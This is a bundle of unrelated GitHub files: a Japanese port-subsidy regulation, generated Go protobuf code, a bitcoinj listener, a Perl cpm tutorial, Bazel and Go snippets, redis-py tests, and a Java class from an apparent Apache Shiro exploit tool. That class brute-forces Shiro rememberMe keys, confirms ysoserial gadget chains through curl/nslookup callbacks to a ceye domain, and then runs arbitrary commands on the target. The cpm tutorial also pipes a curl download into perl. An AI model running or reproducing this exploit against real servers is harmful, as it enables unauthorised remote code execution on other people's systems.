BDM1Ortho); Uh1 [u1, u2]; Uh1 [err1, err2]; t = clock(); [u1, u2] = [0, dx(u1)]; t = clock() - t; cout << timeELAPSED << t << endl; [err1, err2] = [abs(u2 - u1), 0]; test(err1[].linfty < HWERROR); }
{ "pile_set_name": "Github" }
港湾関係補助金等交付規則 (昭和三十六年六月二十八日運輸省令第三十六号)最終改正:平成二三年一二月一三日国土交通省令第九四号  補助金等に係る予算の執行の適正化に関する法律 (昭和三十年法律第百七十九号)第五条 、第九条第一項 、第十二条 、第十四条 及び第十六条第二項 並びに補助金等に係る予算の執行の適正化に関する法律施行令 (昭和三十年政令第二百五十五号)第三条第三項 の規定に基づき、並びに同法 を実施するため、港湾関係補助金等交付規則を次のように定める。 第一条  港湾及び港湾に係る海岸に関する公共事業について国土交通大臣が行う補助金等(社会資本整備総合交付金を除く。以下同じ。)の交付に関しては、他の法令に定めるもののほか、この省令の定めるところによる。 第二条  補助金等に係る予算の執行の適正化に関する法律 (以下「法」という。)第五条 の申請書の様式は、補助金又は負担金の交付の申請をしようとする場合にあつては第一号様式、補助金又は負担金の増額の交付を申請しようとする場合にあつては第二号様式、後進地域特例法適用団体等補助率差額の交付を申請しようとする場合にあつては第三号様式のとおりとする。 2  前項の申請書の提出時期は、当該申請に係る補助事業等を施行する会計年度の六月三十日とする。ただし、国土交通大臣が他の日を指定したときは、その日とする。 3  補助金等に係る予算の執行の適正化に関する法律施行令第三条第二項 の書類には、同項第三号 に掲げる事項以外の事項については、記載することを要しないものとし、当該書類の様式は、第四号様式のとおりとする。ただし、第三号様式による申請書には同項 の書類を添附することを要しないものとする。 第三条  法第九条第一項 の期日は、法第八条 の規定による通知を受けた日から起算して三十日を経過した日とする。 第四条  法第十二条 の規定による報告は、毎会計年度の四月一日から十一月三十日までの期間について作成した第五号様式による状況報告書を当該年度の十二月十五日までに提出してするものとする。 第五条  法第十四条 前段の規定による報告は、補助事業等が完了した日(補助事業等の廃止の承認を受けた日を含む。以下同じ。)から起算して三十日を経過した日又は補助事業等が完了した日の属する会計年度の翌年度の四月十日のいずれか早い日までに、第六号様式による完了実績報告書(補助事業等の廃止の承認を受けた場合にあつては、第六号様式の例による廃止実績報告書)を提出してするものとする。ただし、国土交通大臣が他の日を提出時期として指定したときは、その日とする。 2  法第十四条 後段の規定による報告は、補助金等の交付の決定のあつた日の属する会計年度の翌年度の四月三十日までに、第七号様式による年度終了実績報告書を提出してするものとする。 3  前二項の規定は、法第十六条第二項 において準用する法第十四条 の規定による報告について準用する。 第六条  補助事業者等は、法第二十二条 の規定により財産の処分について承認を受けようとするときは、第八号様式による財産処分承認申請書を提出するものとする。 2  前項の場合において、処分しようとする財産が港湾施設又は海岸保全施設であるときは、その位置図、平面図及び構造図を財産処分承認申請書に添附しなければならない。    附 則 抄 1  この省令は、昭和三十六年九月一日から施行する。 2  この省令の規定は、港湾法(昭和二十五年法律第二百十八号)附則第三項から第五項まで、北海道開発のためにする港湾工事に関する法律(昭和二十六年法律第七十三号)附則第七項、奄美群島振興開発特別措置法(昭和二十九年法律第百八十九号)附則第七項、失効前の沖縄振興開発特別措置法(昭和四十六年法律第百三十一号)附則第九条第一項又は沖縄振興特別措置法(平成十四年法律第十四号)附則第五条第一項の規定による無利子の貸付金について準用する。この場合において、この省令の規定(第二条第一項を除く。)中「交付」とあるのは「貸付け」と、「法」とあるのは「日本電信電話株式会社の株式の売払収入の活用による社会資本の整備の促進に関する特別措置法第五条第一項において準用する法」と、それぞれ読み替えるほか、次の表の上欄に掲げるこの省令の規定中同表の中欄に掲げる字句は、それぞれ同表の下欄に掲げる字句に読み替えるものとする。 第一条 港湾及び海岸 港湾 第二条第一項 補助金等に係る予算の執行の適正化に関する法律 日本電信電話株式会社の株式の売払収入の活用による社会資本の整備の促進に関する特別措置法(昭和六十二年法律第八十六号)第五条第一項において準用する補助金等に係る予算の執行の適正化に関する法律 交付 貸付け 第一号様式 第九号様式 第二号様式 第十号様式 第三号様式 第十一号様式 第二条第三項 補助金等に係る予算の執行の適正化に関する法律施行令 日本電信電話株式会社の株式の売払収入の活用による社会資本の整備の促進に関する特別措置法施行令(昭和六十二年政令第二百九十一号)第五条において準用する補助金等に係る予算の執行の適正化に関する法律施行令 第四号様式 第十二号様式 第三号様式 第十一号様式 第四条 第五号様式 第十三号様式 第五条第一項 第六号様式 第十四号様式 第五条第二項 第七号様式 第十五号様式 第六条第一項 第八号様式 第十六号様式 第六条第二項 港湾施設又は海岸保全施設 港湾施設    附 則 (昭和四三年五月八日運輸省令第二〇号)  この省令は、公布の日から施行する。    附 則 (昭和六二年一〇月二日運輸省令第五九号)  この省令は、公布の日から施行する。    附 則 (昭和六三年一〇月三一日運輸省令第三二号)  この省令は、公布の日から施行する。    附 則 (平成元年七月二〇日運輸省令第二四号)  この省令は、公布の日から施行する。    附 則 (平成一二年一一月二九日運輸省令第三九号) 抄 (施行期日) 第一条  この省令は、平成十三年一月六日から施行する。    附 則 (平成一四年六月二〇日国土交通省令第六九号)  この省令は、公布の日から施行する。    附 則 (平成二二年四月一日国土交通省令第一七号) 1  この省令は、公布の日から施行する。 2  この省令による改正後の港湾関係補助金等交付規則及び国土交通省所管補助金等交付規則の規定は、平成二十二年度以降の年度の予算に係る補助金等について適用し、平成二十一年度以前の年度の予算に係る補助金等(平成二十二年度以降の年度に繰り越されたものを含む。)については、なお従前の例による。    附 則 (平成二三年一二月一三日国土交通省令第九四号) 抄 (施行期日) 第一条  この省令は、港湾法及び特定外貿埠頭の管理運営に関する法律の一部を改正する法律(以下「改正法」という。)附則第一条第二号に掲げる規定の施行の日(平成二十三年十二月十五日)から施行する。 第1号様式 第2号様式 第3号様式 第4号様式 第5号様式 第6号様式 第7号様式 第8号様式 第9号様式 第10号様式 第11号様式 第12号様式 第13号様式 第14号様式 第15号様式 第16号様式
{ "pile_set_name": "Github" }
// Copyright 2020 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Code generated by protoc-gen-go. DO NOT EDIT. // versions: // protoc-gen-go v1.25.0 // protoc v3.13.0 // source: google/ads/googleads/v4/enums/access_role.proto package enums import ( reflect "reflect" sync "sync" proto "github.com/golang/protobuf/proto" _ "google.golang.org/genproto/googleapis/api/annotations" protoreflect "google.golang.org/protobuf/reflect/protoreflect" protoimpl "google.golang.org/protobuf/runtime/protoimpl" ) const ( // Verify that this generated code is sufficiently up-to-date. _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) // Verify that runtime/protoimpl is sufficiently up-to-date. _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) ) // This is a compile-time assertion that a sufficiently up-to-date version // of the legacy proto package is being used. const _ = proto.ProtoPackageIsVersion4 // Possible access role of a user. type AccessRoleEnum_AccessRole int32 const ( // Not specified. AccessRoleEnum_UNSPECIFIED AccessRoleEnum_AccessRole = 0 // Used for return value only. Represents value unknown in this version. AccessRoleEnum_UNKNOWN AccessRoleEnum_AccessRole = 1 // Owns its account and can control the addition of other users. AccessRoleEnum_ADMIN AccessRoleEnum_AccessRole = 2 // Can modify campaigns, but can't affect other users. AccessRoleEnum_STANDARD AccessRoleEnum_AccessRole = 3 // Can view campaigns and account changes, but cannot make edits. AccessRoleEnum_READ_ONLY AccessRoleEnum_AccessRole = 4 // Role for \"email only\" access. Represents an email recipient rather than // a true User entity. AccessRoleEnum_EMAIL_ONLY AccessRoleEnum_AccessRole = 5 ) // Enum value maps for AccessRoleEnum_AccessRole. var ( AccessRoleEnum_AccessRole_name = map[int32]string{ 0: "UNSPECIFIED", 1: "UNKNOWN", 2: "ADMIN", 3: "STANDARD", 4: "READ_ONLY", 5: "EMAIL_ONLY", } AccessRoleEnum_AccessRole_value = map[string]int32{ "UNSPECIFIED": 0, "UNKNOWN": 1, "ADMIN": 2, "STANDARD": 3, "READ_ONLY": 4, "EMAIL_ONLY": 5, } ) func (x AccessRoleEnum_AccessRole) Enum() *AccessRoleEnum_AccessRole { p := new(AccessRoleEnum_AccessRole) *p = x return p } func (x AccessRoleEnum_AccessRole) String() string { return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) } func (AccessRoleEnum_AccessRole) Descriptor() protoreflect.EnumDescriptor { return file_google_ads_googleads_v4_enums_access_role_proto_enumTypes[0].Descriptor() } func (AccessRoleEnum_AccessRole) Type() protoreflect.EnumType { return &file_google_ads_googleads_v4_enums_access_role_proto_enumTypes[0] } func (x AccessRoleEnum_AccessRole) Number() protoreflect.EnumNumber { return protoreflect.EnumNumber(x) } // Deprecated: Use AccessRoleEnum_AccessRole.Descriptor instead. func (AccessRoleEnum_AccessRole) EnumDescriptor() ([]byte, []int) { return file_google_ads_googleads_v4_enums_access_role_proto_rawDescGZIP(), []int{0, 0} } // Container for enum describing possible access role for user. type AccessRoleEnum struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } func (x *AccessRoleEnum) Reset() { *x = AccessRoleEnum{} if protoimpl.UnsafeEnabled { mi := &file_google_ads_googleads_v4_enums_access_role_proto_msgTypes[0] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *AccessRoleEnum) String() string { return protoimpl.X.MessageStringOf(x) } func (*AccessRoleEnum) ProtoMessage() {} func (x *AccessRoleEnum) ProtoReflect() protoreflect.Message { mi := &file_google_ads_googleads_v4_enums_access_role_proto_msgTypes[0] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use AccessRoleEnum.ProtoReflect.Descriptor instead. func (*AccessRoleEnum) Descriptor() ([]byte, []int) { return file_google_ads_googleads_v4_enums_access_role_proto_rawDescGZIP(), []int{0} } var File_google_ads_googleads_v4_enums_access_role_proto protoreflect.FileDescriptor var file_google_ads_googleads_v4_enums_access_role_proto_rawDesc = []byte{ 0x0a, 0x2f, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x61, 0x64, 0x73, 0x2f, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x61, 0x64, 0x73, 0x2f, 0x76, 0x34, 0x2f, 0x65, 0x6e, 0x75, 0x6d, 0x73, 0x2f, 0x61, 0x63, 0x63, 0x65, 0x73, 0x73, 0x5f, 0x72, 0x6f, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x1d, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x61, 0x64, 0x73, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x61, 0x64, 0x73, 0x2e, 0x76, 0x34, 0x2e, 0x65, 0x6e, 0x75, 0x6d, 0x73, 0x1a, 0x1c, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x74, 0x0a, 0x0e, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x52, 0x6f, 0x6c, 0x65, 0x45, 0x6e, 0x75, 0x6d, 0x22, 0x62, 0x0a, 0x0a, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x52, 0x6f, 0x6c, 0x65, 0x12, 0x0f, 0x0a, 0x0b, 0x55, 0x4e, 0x53, 0x50, 0x45, 0x43, 0x49, 0x46, 0x49, 0x45, 0x44, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x55, 0x4e, 0x4b, 0x4e, 0x4f, 0x57, 0x4e, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x10, 0x02, 0x12, 0x0c, 0x0a, 0x08, 0x53, 0x54, 0x41, 0x4e, 0x44, 0x41, 0x52, 0x44, 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x45, 0x41, 0x44, 0x5f, 0x4f, 0x4e, 0x4c, 0x59, 0x10, 0x04, 0x12, 0x0e, 0x0a, 0x0a, 0x45, 0x4d, 0x41, 0x49, 0x4c, 0x5f, 0x4f, 0x4e, 0x4c, 0x59, 0x10, 0x05, 0x42, 0xe4, 0x01, 0x0a, 0x21, 0x63, 0x6f, 0x6d, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x61, 0x64, 0x73, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x61, 0x64, 0x73, 0x2e, 0x76, 0x34, 0x2e, 0x65, 0x6e, 0x75, 0x6d, 0x73, 0x42, 0x0f, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x52, 0x6f, 0x6c, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x50, 0x01, 0x5a, 0x42, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x67, 0x6f, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x6f, 0x72, 0x67, 0x2f, 0x67, 0x65, 0x6e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x2f, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x61, 0x70, 0x69, 0x73, 0x2f, 0x61, 0x64, 0x73, 0x2f, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x61, 0x64, 0x73, 0x2f, 0x76, 0x34, 0x2f, 0x65, 0x6e, 0x75, 0x6d, 0x73, 0x3b, 0x65, 0x6e, 0x75, 0x6d, 0x73, 0xa2, 0x02, 0x03, 0x47, 0x41, 0x41, 0xaa, 0x02, 0x1d, 0x47, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x41, 0x64, 0x73, 0x2e, 0x47, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x41, 0x64, 0x73, 0x2e, 0x56, 0x34, 0x2e, 0x45, 0x6e, 0x75, 0x6d, 0x73, 0xca, 0x02, 0x1d, 0x47, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x5c, 0x41, 0x64, 0x73, 0x5c, 0x47, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x41, 0x64, 0x73, 0x5c, 0x56, 0x34, 0x5c, 0x45, 0x6e, 0x75, 0x6d, 0x73, 0xea, 0x02, 0x21, 0x47, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x3a, 0x3a, 0x41, 0x64, 0x73, 0x3a, 0x3a, 0x47, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x41, 0x64, 0x73, 0x3a, 0x3a, 0x56, 0x34, 0x3a, 0x3a, 0x45, 0x6e, 0x75, 0x6d, 0x73, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( file_google_ads_googleads_v4_enums_access_role_proto_rawDescOnce sync.Once file_google_ads_googleads_v4_enums_access_role_proto_rawDescData = file_google_ads_googleads_v4_enums_access_role_proto_rawDesc ) func file_google_ads_googleads_v4_enums_access_role_proto_rawDescGZIP() []byte { file_google_ads_googleads_v4_enums_access_role_proto_rawDescOnce.Do(func() { file_google_ads_googleads_v4_enums_access_role_proto_rawDescData = protoimpl.X.CompressGZIP(file_google_ads_googleads_v4_enums_access_role_proto_rawDescData) }) return file_google_ads_googleads_v4_enums_access_role_proto_rawDescData } var file_google_ads_googleads_v4_enums_access_role_proto_enumTypes = make([]protoimpl.EnumInfo, 1) var file_google_ads_googleads_v4_enums_access_role_proto_msgTypes = make([]protoimpl.MessageInfo, 1) var file_google_ads_googleads_v4_enums_access_role_proto_goTypes = []interface{}{ (AccessRoleEnum_AccessRole)(0), // 0: google.ads.googleads.v4.enums.AccessRoleEnum.AccessRole (*AccessRoleEnum)(nil), // 1: google.ads.googleads.v4.enums.AccessRoleEnum } var file_google_ads_googleads_v4_enums_access_role_proto_depIdxs = []int32{ 0, // [0:0] is the sub-list for method output_type 0, // [0:0] is the sub-list for method input_type 0, // [0:0] is the sub-list for extension type_name 0, // [0:0] is the sub-list for extension extendee 0, // [0:0] is the sub-list for field type_name } func init() { file_google_ads_googleads_v4_enums_access_role_proto_init() } func file_google_ads_googleads_v4_enums_access_role_proto_init() { if File_google_ads_googleads_v4_enums_access_role_proto != nil { return } if !protoimpl.UnsafeEnabled { file_google_ads_googleads_v4_enums_access_role_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*AccessRoleEnum); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } } type x struct{} out := protoimpl.TypeBuilder{ File: protoimpl.DescBuilder{ GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_google_ads_googleads_v4_enums_access_role_proto_rawDesc, NumEnums: 1, NumMessages: 1, NumExtensions: 0, NumServices: 0, }, GoTypes: file_google_ads_googleads_v4_enums_access_role_proto_goTypes, DependencyIndexes: file_google_ads_googleads_v4_enums_access_role_proto_depIdxs, EnumInfos: file_google_ads_googleads_v4_enums_access_role_proto_enumTypes, MessageInfos: file_google_ads_googleads_v4_enums_access_role_proto_msgTypes, }.Build() File_google_ads_googleads_v4_enums_access_role_proto = out.File file_google_ads_googleads_v4_enums_access_role_proto_rawDesc = nil file_google_ads_googleads_v4_enums_access_role_proto_goTypes = nil file_google_ads_googleads_v4_enums_access_role_proto_depIdxs = nil }
{ "pile_set_name": "Github" }
/* * Copyright 2011 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.bitcoinj.core.listeners; import org.bitcoinj.core.*; import org.bitcoinj.utils.Threading; import javax.annotation.*; import java.util.*; /** * <p>Implementors can listen to events like blocks being downloaded/transactions being broadcast/connect/disconnects, * they can pre-filter messages before they are processed by a {@link Peer} or {@link PeerGroup}, and they can * provide transactions to remote peers when they ask for them.</p> */ public interface GetDataEventListener { /** * <p>Called when a peer receives a getdata message, usually in response to an "inv" being broadcast. Return as many * items as possible which appear in the {@link GetDataMessage}, or null if you're not interested in responding.</p> * * <p>Note that this will never be called if registered with any executor other than * {@link Threading#SAME_THREAD}</p> */ @Nullable List<Message> getData(Peer peer, GetDataMessage m); }
{ "pile_set_name": "Github" }
package App::cpm::Tutorial; use strict; use warnings; 1; __END__ =head1 NAME App::cpm::Tutorial - How to use cpm =head1 SYNOPSIS $ cpm install Module =head1 DESCRIPTION cpm is yet another CPAN client (like L<cpan>, L<cpanp>, and L<cpanm>), which is fast! =head2 How to install cpm From CPAN: $ cpanm -nq App::cpm Or, download a I<self-contained> cpm: $ curl -fsSL --compressed https://git.io/cpm > cpm $ chmod +x cpm $ ./cpm --version # you can even install modules without installing cpm $ curl -fsSL --compressed https://git.io/cpm | perl - install Plack =head2 First step $ cpm install Plack This command installs Plack into C<./local>, and you can use it by $ perl -I$PWD/local/lib/perl5 -MPlack -E 'say Plack->VERSION' If you want to install modules into current INC instead of C<./local>, then use C<--global/-g> option. $ cpm install --global Plack By default, cpm outputs only C<DONE install Module> things. If you want more verbose messages, use C<--verbose/-v> option. $ cpm install --verbose Plack =head2 Second step cpm can handle version range notation like L<cpanm>. Let's see some examples. $ cpm install Plack~'> 1.000, <= 2.000' $ cpm install Plack~'== 1.0030' $ cpm install [email protected] # this is an alias of ~'== 1.0030' cpm can install dev releases (TRIAL releases). $ cpm install Moose@dev # if you prefer dev releases for not only Moose, # but also its dependencies, then use global --dev option $ cpm install --dev Moose And cpm can install modules from git repositories directly. $ cpm install git://github.com/skaji/Carl.git =head2 cpanfile and dist/url/mirror/git syntax If you omit arguments, and there exists C<cpanfile> in the current directory, then cpm loads modules from cpanfile, and install them $ cat cpanfile requires 'Moose', '2.000'; requires 'Plack', '> 1.000, <= 2.000'; $ cpm install If you have C<cpanfile.snapshot>, then cpm tries to resolve distribution names from it $ cpm install -v 30186 DONE resolve (0.001sec) Plack -> Plack-1.0030 (from Snapshot) ... cpm supports dist/url/mirror syntax in cpanfile just like cpanminus: requires 'Path::Class', 0.26, dist => "KWILLIAMS/Path-Class-0.26.tar.gz"; # use dist + mirror requires 'Cookie::Baker', dist => "KAZEBURO/Cookie-Baker-0.08.tar.gz", mirror => "http://cpan.cpantesters.org/"; # use the full URL requires 'Try::Tiny', 0.28, url => "http://backpan.perl.org/authors/id/E/ET/ETHER/Try-Tiny-0.28.tar.gz"; And yes, this is an experimental and fun part! cpm also supports git syntax in cpanfile. requires 'Carl', git => 'git://github.com/skaji/Carl.git'; requires 'App::cpm', git => 'https://login:[email protected]/skaji/cpm.git'; requires 'Perl::PrereqDistributionGatherer', git => 'https://github.com/skaji/Perl-PrereqDistributionGatherer', ref => '3850305'; # ref can be revision/branch/tag Please note that to support git syntax in cpanfile wholly, there are several TODOs. =head2 Darkpan integration There are CPAN modules that create I<darkpans> (minicpan, CPAN mirror) such as L<CPAN::Mini>, L<OrePAN2>, L<Pinto>. Such darkpans store distribution tarballs in DARKPAN/authors/id/A/AU/AUTHOR/Module-0.01.tar.gz and create the I<de facto standard> index file C<02packages.details.txt.gz> in DARKPAN/modules/02packages.details.txt.gz If you want to use cpm against such darkpans, change the cpm resolver by C<--resolver/-r> option: $ cpm install --resolver 02packages,http://example.com/darkpan Module $ cpm install --resolver 02packages,file::///path/to/darkpan Module Sometimes, your darkpan is not whole CPAN mirror, but partial, so some modules are missing in it. Then append C<--resolver metadb> option to fall back to normal MetaDB resolver: $ cpm install \ --resolver 02packages,http://example.com/darkpan \ --resolver metadb \ Module If you host your own darkmetadb for your own darkpan, you can use it too. Then append C<--resolver metadb> option to fall back to normal MetaDB resolver: $ cpm install \ --resolver metadb,http://example.com/darkmetadb,http://example.com/darkpan \ --resolver metadb \ Module =cut
{ "pile_set_name": "Github" }
// Copyright 2015 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // +build darwin dragonfly freebsd linux netbsd openbsd solaris package unix const ( R_OK = 0x4 W_OK = 0x2 X_OK = 0x1 )
{ "pile_set_name": "Github" }
load("@io_bazel_rules_go//go:def.bzl", "go_binary", "go_library") go_library( name = "go_default_library", srcs = ["buildifier2.go"], importpath = "github.com/bazelbuild/buildtools/buildifier2", visibility = ["//visibility:private"], deps = [ "//build:go_default_library", "//convertast:go_default_library", "@skylark_syntax//syntax:go_default_library", ], ) go_binary( name = "buildifier2", embed = [":go_default_library"], visibility = ["//visibility:public"], )
{ "pile_set_name": "Github" }
package com.shiroexploit.vulnverifier; import com.shiroexploit.core.AesEncrypt; import com.shiroexploit.util.*; import java.io.File; import java.util.*; public class Shiro550VerifiertUsingCeye implements Verifier { private Config config; private String key; private List<PayloadType> gadgets; private Boolean flag = false; public Shiro550VerifiertUsingCeye(){ System.out.println("[*] Using Shiro550VerifiertUsingCeye"); this.config = Config.getInstance(); this.gadgets = new ArrayList<>(); } @Override public void getValidGadget() throws ExploitFailedException { Map<String, String> keyMap = sendURLDNSPayloads(); this.key = Tools.getValidKeyFromCeye(keyMap, config.getCeyeToken()); if(this.key == null){ throw new ExploitFailedException("[-] Can not find a valid key"); } System.out.println("[+] Find Valid Key: " + this.key); Map<String, PayloadType> gadgetMap = sendAllCurlPayloads(); this.gadgets = Tools.getValidGadgetsFromCeye(gadgetMap, config.getCeyeToken()); if(this.gadgets.size() == 0){ throw new ExploitFailedException("[-] Can not find a valid gadget"); } for(PayloadType type : gadgets){ System.out.println("[+] Find Valid Gadget: " + type.getName()); } this.flag = true; } @Override public String executeCmd(String cmd){ for(PayloadType type : this.gadgets){ System.out.println("[*] Using Key " + this.key); System.out.println("[*] Using Gadget " + type.getName()); System.out.println("[*] Executing command: " + cmd + "..."); String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + type.getName() + " \"" + cmd + "\""; byte[] result = Tools.exec(command); String rememberMe = AesEncrypt.encrypt(this.key, result); HttpRequest.request(config.getRequestInfo(), rememberMe); System.out.println("[+] Done"); } return null; } private Map<String,PayloadType> sendAllCurlPayloads(){ Map<String, PayloadType> map = new HashMap<>(); for(PayloadType payloadType : config.getGadgets()){ System.out.println("[*] Trying Gadget: " + payloadType.getName()); String uuid = UUID.randomUUID().toString().replaceAll("-", ""); List<String> commands = new ArrayList<>(); //linux commands.add("java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() + " \"curl http://" + uuid + "." + config.getCeyeDomain() + "\""); //windows commands.add("java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" " + payloadType.getName() + " \"nslookup " + uuid + "." + config.getCeyeDomain() + "\""); for(String command : commands){ byte[] payload = Tools.exec(command); String rememberMe = AesEncrypt.encrypt(this.key, payload); HttpRequest.request(config.getRequestInfo(), rememberMe); } map.put(uuid,payloadType); } return map; } private Map<String,String> sendURLDNSPayloads(){ System.out.println("[*] Send URLDNS Payload"); Map<String, String> map = new HashMap<>(); for(String key : config.getKeys()){ System.out.println("[*] Trying Key: " + key); String uuid = UUID.randomUUID().toString().replaceAll("-", ""); String command = "java -jar \"" + System.getProperty("user.dir") + File.separator + "ysoserial.jar\" URLDNS " + "http://" + uuid + "." + config.getCeyeDomain(); byte[] payload = Tools.exec(command); String rememberMe = AesEncrypt.encrypt(key, payload); HttpRequest.request(config.getRequestInfo(), rememberMe); map.put(uuid, key); } return map; } }
{ "pile_set_name": "Github" }
from __future__ import with_statement import binascii import datetime import pytest import redis import time from redis._compat import (unichr, u, b, ascii_letters, iteritems, iterkeys, itervalues) from redis.client import parse_info from redis import exceptions from .conftest import skip_if_server_version_lt @pytest.fixture() def slowlog(request, r): current_config = r.config_get() old_slower_than_value = current_config['slowlog-log-slower-than'] old_max_legnth_value = current_config['slowlog-max-len'] def cleanup(): r.config_set('slowlog-log-slower-than', old_slower_than_value) r.config_set('slowlog-max-len', old_max_legnth_value) request.addfinalizer(cleanup) r.config_set('slowlog-log-slower-than', 0) r.config_set('slowlog-max-len', 128) def redis_server_time(client): seconds, milliseconds = client.time() timestamp = float('%s.%s' % (seconds, milliseconds)) return datetime.datetime.fromtimestamp(timestamp) # RESPONSE CALLBACKS class TestResponseCallbacks(object): "Tests for the response callback system" def test_response_callbacks(self, r): assert r.response_callbacks == redis.Redis.RESPONSE_CALLBACKS assert id(r.response_callbacks) != id(redis.Redis.RESPONSE_CALLBACKS) r.set_response_callback('GET', lambda x: 'static') r['a'] = 'foo' assert r['a'] == 'static' class TestRedisCommands(object): def test_command_on_invalid_key_type(self, r): r.lpush('a', '1') with pytest.raises(redis.ResponseError): r['a'] # SERVER INFORMATION def test_client_list(self, r): clients = r.client_list() assert isinstance(clients[0], dict) assert 'addr' in clients[0] @skip_if_server_version_lt('2.6.9') def test_client_getname(self, r): assert r.client_getname() is None @skip_if_server_version_lt('2.6.9') def test_client_setname(self, r): assert r.client_setname('redis_py_test') assert r.client_getname() == 'redis_py_test' def test_config_get(self, r): data = r.config_get() assert 'maxmemory' in data assert data['maxmemory'].isdigit() def test_config_resetstat(self, r): r.ping() prior_commands_processed = int(r.info()['total_commands_processed']) assert prior_commands_processed >= 1 r.config_resetstat() reset_commands_processed = int(r.info()['total_commands_processed']) assert reset_commands_processed < prior_commands_processed def test_config_set(self, r): data = r.config_get() rdbname = data['dbfilename'] try: assert r.config_set('dbfilename', 'redis_py_test.rdb') assert r.config_get()['dbfilename'] == 'redis_py_test.rdb' finally: assert r.config_set('dbfilename', rdbname) def test_dbsize(self, r): r['a'] = 'foo' r['b'] = 'bar' assert r.dbsize() == 2 def test_echo(self, r): assert r.echo('foo bar') == b('foo bar') def test_info(self, r): r['a'] = 'foo' r['b'] = 'bar' info = r.info() assert isinstance(info, dict) assert info['db9']['keys'] == 2 def test_lastsave(self, r): assert isinstance(r.lastsave(), datetime.datetime) def test_object(self, r): r['a'] = 'foo' assert isinstance(r.object('refcount', 'a'), int) assert isinstance(r.object('idletime', 'a'), int) assert r.object('encoding', 'a') == b('raw') assert r.object('idletime', 'invalid-key') is None def test_ping(self, r): assert r.ping() def test_slowlog_get(self, r, slowlog): assert r.slowlog_reset() unicode_string = unichr(3456) + u('abcd') + unichr(3421) r.get(unicode_string) slowlog = r.slowlog_get() assert isinstance(slowlog, list) commands = [log['command'] for log in slowlog] get_command = b(' ').join((b('GET'), unicode_string.encode('utf-8'))) assert get_command in commands assert b('SLOWLOG RESET') in commands # the order should be ['GET <uni string>', 'SLOWLOG RESET'], # but if other clients are executing commands at the same time, there # could be commands, before, between, or after, so just check that # the two we care about are in the appropriate order. assert commands.index(get_command) < commands.index(b('SLOWLOG RESET')) # make sure other attributes are typed correctly assert isinstance(slowlog[0]['start_time'], int) assert isinstance(slowlog[0]['duration'], int) def test_slowlog_get_limit(self, r, slowlog): assert r.slowlog_reset() r.get('foo') r.get('bar') slowlog = r.slowlog_get(1) assert isinstance(slowlog, list) commands = [log['command'] for log in slowlog] assert b('GET foo') not in commands assert b('GET bar') in commands def test_slowlog_length(self, r, slowlog): 